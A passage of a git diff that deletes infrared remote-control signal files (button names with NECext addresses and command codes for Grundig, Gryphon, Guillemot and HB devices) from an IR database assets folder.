00 00 -command: 05 00 00 00 -# -name: c6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: c7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: c8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: c9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: selvps -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: tracking -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: pausestop -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: arecordotr -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: splp -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 71 00 00 00 -# -name: monitor -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7A 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7D 00 00 00 -# -name: cass -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir deleted file mode 100644 index 04a94222a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: color+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: color- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: prg+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: prg- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir deleted file mode 100644 index f846306f4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: SPEAKER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: IDTV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: BRIGHTNESS+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: BRIGHTNESS- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CONTRAST+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CONTRAST- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: P/C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: P+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: P- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: INFORMATION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: VIDEOTEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir deleted file mode 100644 index 59b32f9e3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 04 00 00 00 -# -name: MODE_remain -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 06 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 07 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0C 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0D 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0E 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 13 00 00 00 -# -name: MEMORY_clock -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 14 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 15 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1B 00 00 00 -# -name: REPEAT_PRESET -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1C 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1D 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1E 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir deleted file mode 100644 index 4ccb31960..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir deleted file mode 100644 index 4943ab14d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ok -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: u -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: w -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: y -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: v -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: t -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: bright -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: o -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: tint -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: n -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: color -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: j -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: white -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: i -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: .av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: p -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: a -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: b -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: c -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: f -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: g -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: h -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: k -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: l -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: m -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: p/c -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: s -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: p+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: q -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: p- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: x -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: r -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 -# -name: text -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: e -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: d -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir deleted file mode 100644 index 4f73fab9a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 02 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 03 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 14 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 16 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 18 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 19 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 47 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 47 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 48 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 48 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4A 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4B 00 00 00 -# -name: -/-- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 53 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir deleted file mode 100644 index 7a2620f78..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON/STAND-BY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir deleted file mode 100644 index 746bd7d38..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: X_KEY_2X -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: SCREEN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: CHAPTER+ -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: CD-DVD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: CHAPTER- -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir deleted file mode 100644 index 13aff924c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: EQ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: FIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: FUNC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: MEM_UP -type: parsed 